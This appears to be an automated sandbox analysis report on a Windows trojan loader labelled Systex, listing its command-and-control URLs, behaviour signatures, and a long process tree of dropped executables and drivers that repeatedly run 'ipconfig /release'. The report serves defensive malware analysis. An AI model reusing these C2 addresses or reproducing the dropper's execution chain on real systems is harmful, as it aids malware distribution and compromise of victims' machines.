Analysis
- max time kernel
149s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
04/08/2026, 17:25
General
- Target 2026-08-04_fb04165142a35b1afea02e4cf642c9cb_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260804-vzddfswcmd
- SHA256 92a5a007f9712bd32115ce9096b463ae460a2ec90a7f293fee3c6f0fc240940f
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 58 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 63 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-04_fb04165142a35b1afea02e4cf642c9cb_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-04_fb04165142a35b1afea02e4cf642c9cb_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2396 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4492 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jecwrljebw.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\jecwrljebw.exeC:\Temp\jecwrljebw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jecwrljebw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_jecwrljebw.exeC:\Temp\i_jecwrljebw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\igbytqljdb.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\igbytqljdb.exeC:\Temp\igbytqljdb.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_igbytqljdb.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_igbytqljdb.exeC:\Temp\i_igbytqljdb.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\avtnlgdyvq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\avtnlgdyvq.exeC:\Temp\avtnlgdyvq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_avtnlgdyvq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_avtnlgdyvq.exeC:\Temp\i_avtnlgdyvq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tnigavtnlf.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\tnigavtnlf.exeC:\Temp\tnigavtnlf.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tnigavtnlf.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_tnigavtnlf.exeC:\Temp\i_tnigavtnlf.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\cavsnlfdxv.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\cavsnlfdxv.exeC:\Temp\cavsnlfdxv.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_cavsnlfdxv.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_cavsnlfdxv.exeC:\Temp\i_cavsnlfdxv.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kecxvpnhfa.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\kecxvpnhfa.exeC:\Temp\kecxvpnhfa.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kecxvpnhfa.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_kecxvpnhfa.exeC:\Temp\i_kecxvpnhfa.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\upmhezxrpj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\upmhezxrpj.exeC:\Temp\upmhezxrpj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_upmhezxrpj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_upmhezxrpj.exeC:\Temp\i_upmhezxrpj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfzxrpjhcz.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hfzxrpjhcz.exeC:\Temp\hfzxrpjhcz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfzxrpjhcz.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hfzxrpjhcz.exeC:\Temp\i_hfzxrpjhcz.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hbztrljecw.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hbztrljecw.exeC:\Temp\hbztrljecw.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hbztrljecw.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hbztrljecw.exeC:\Temp\i_hbztrljecw.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\tomgeywqoj.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\tomgeywqoj.exeC:\Temp\tomgeywqoj.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_tomgeywqoj.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_tomgeywqoj.exeC:\Temp\i_tomgeywqoj.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\gdywqoigay.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\gdywqoigay.exeC:\Temp\gdywqoigay.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_gdywqoigay.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_gdywqoigay.exeC:\Temp\i_gdywqoigay.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jdbvtnlyvq.exe ups_run2⤵
-
C:\Temp\jdbvtnlyvq.exeC:\Temp\jdbvtnlyvq.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jdbvtnlyvq.exe ups_ins2⤵
-
C:\Temp\i_jdbvtnlyvq.exeC:\Temp\i_jdbvtnlyvq.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vtnlfdxvqn.exe ups_run2⤵
-
C:\Temp\vtnlfdxvqn.exeC:\Temp\vtnlfdxvqn.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vtnlfdxvqn.exe ups_ins2⤵
-
C:\Temp\i_vtnlfdxvqn.exeC:\Temp\i_vtnlfdxvqn.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\kfcxvpnhfz.exe ups_run2⤵
-
C:\Temp\kfcxvpnhfz.exeC:\Temp\kfcxvpnhfz.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_kfcxvpnhfz.exe ups_ins2⤵
-
C:\Temp\i_kfcxvpnhfz.exeC:\Temp\i_kfcxvpnhfz.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\czusmkecxu.exe ups_run2⤵
-
C:\Temp\czusmkecxu.exeC:\Temp\czusmkecxu.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_czusmkecxu.exe ups_ins2⤵
-
C:\Temp\i_czusmkecxu.exeC:\Temp\i_czusmkecxu.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\czusmkerpj.exe ups_run2⤵
-
C:\Temp\czusmkerpj.exeC:\Temp\czusmkerpj.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_czusmkerpj.exe ups_ins2⤵
-
C:\Temp\i_czusmkerpj.exeC:\Temp\i_czusmkerpj.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wrpjhbzurm.exe ups_run2⤵
-
C:\Temp\wrpjhbzurm.exeC:\Temp\wrpjhbzurm.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wrpjhbzurm.exe ups_ins2⤵
-
C:\Temp\i_wrpjhbzurm.exeC:\Temp\i_wrpjhbzurm.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\jhbztrljeb.exe ups_run2⤵
-
C:\Temp\jhbztrljeb.exeC:\Temp\jhbztrljeb.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_jhbztrljeb.exe ups_ins2⤵
-
C:\Temp\i_jhbztrljeb.exeC:\Temp\i_jhbztrljeb.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ytrljdbvto.exe ups_run2⤵
-
C:\Temp\ytrljdbvto.exeC:\Temp\ytrljdbvto.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ytrljdbvto.exe ups_ins2⤵
-
C:\Temp\i_ytrljdbvto.exeC:\Temp\i_ytrljdbvto.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\dywqoigbql.exe ups_run2⤵
-
C:\Temp\dywqoigbql.exeC:\Temp\dywqoigbql.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\Temp\bztrdbwtol.sysC:\Temp\bztrdbwtol.sys1⤵
- Executes dropped EXE
-
C:\Temp\qoigaytqlj.sysC:\Temp\qoigaytqlj.sys1⤵
- Executes dropped EXE
-
C:\Temp\aytqlidbvt.sysC:\Temp\aytqlidbvt.sys1⤵
- Executes dropped EXE
-
C:\Temp\nifaysqkic.sysC:\Temp\nifaysqkic.sys1⤵
- Executes dropped EXE
-
C:\Temp\vpnhfaxspk.sysC:\Temp\vpnhfaxspk.sys1⤵
- Executes dropped EXE
-
C:\Temp\khcausmkec.sysC:\Temp\khcausmkec.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmkecwupmh.sysC:\Temp\rmkecwupmh.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmgezwrojh.sysC:\Temp\rmgezwrojh.sys1⤵
- Executes dropped EXE
-
C:\Temp\bytrljdbwt.sysC:\Temp\bytrljdbwt.sys1⤵
- Executes dropped EXE
-
C:\Temp\ytrljdbwlg.sysC:\Temp\ytrljdbwlg.sys1⤵
- Executes dropped EXE
-
C:\Temp\qlidbvtnlf.sysC:\Temp\qlidbvtnlf.sys1⤵
-
C:\Temp\cavsnlfdxv.sysC:\Temp\cavsnlfdxv.sys1⤵
-
C:\Temp\vpkicausnk.sysC:\Temp\vpkicausnk.sys1⤵
-
C:\Temp\upnhfzxspc.sysC:\Temp\upnhfzxspc.sys1⤵
-
C:\Temp\mhfzxrpkhc.sysC:\Temp\mhfzxrpkhc.sys1⤵
-
C:\Temp\ecwuomhezx.sysC:\Temp\ecwuomhezx.sys1⤵
-
C:\Temp\uomgezwroj.sysC:\Temp\uomgezwroj.sys1⤵
-
C:\Temp\omgeywrojy.sysC:\Temp\omgeywrojy.sys1⤵
-
C:\Temp\lgdyvqoiga.sysC:\Temp\lgdyvqoiga.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
avtnlgdyvq.exe
aytqlidbvt.sys
bztrdbwtol.sys
cavsnlfdxv.exe
hfzxrpjhcz.exe
i_avtnlgdyvq.exe
i_cavsnlfdxv.exe
i_igbytqljdb.exe
i_jecwrljebw.exe
i_kecxvpnhfa.exe
i_tnigavtnlf.exe
i_upmhezxrpj.exe
igbytqljdb.exe
jecwrljebw.exe
kecxvpnhfa.exe
khcausmkec.sys
nifaysqkic.sys
qoigaytqlj.sys
rmkecwupmh.sys
tnigavtnlf.exe
upmhezxrpj.exe
vpnhfaxspk.sys
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{757CC932-9029-11F1-B995-62F9C1B4CF77}.dat
RecoveryStore.{757F4173-9029-11F1-B995-62F9C1B4CF77}.dat
suggestions[1].en-US
memory/884-95-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1072-106-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2332-129-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2520-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2748-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2772-145-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3168-110-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3356-125-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3752-141-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3932-137-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4188-57-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4448-153-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4464-102-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4480-71-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4480-40-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4640-157-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4792-149-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4924-133-0x0000000000010000-0x0000000000083000-memory.dmp
memory/5112-83-0x0000000000010000-0x0000000000083000-memory.dmp